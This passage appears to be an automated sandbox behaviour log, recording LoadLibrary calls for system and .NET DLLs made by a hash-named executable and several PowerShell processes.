%WINDIR%\SysWOW64\NETAPI32.DLL (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\SHELL32.DLL (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007280) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\704b6614c4744d16332d08daf175deed\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\ed7aa14224280131dbac4b6e4881239a\Microsoft.Management.Infrastr (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005792) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\704b6614c4744d16332d08daf175deed\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\ed7aa14224280131dbac4b6e4881239a\Microsoft.Management.Infrastr (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005780) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\704b6614c4744d16332d08daf175deed\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008992) "powershell.exe" called "LoadLibrary" with a parameter 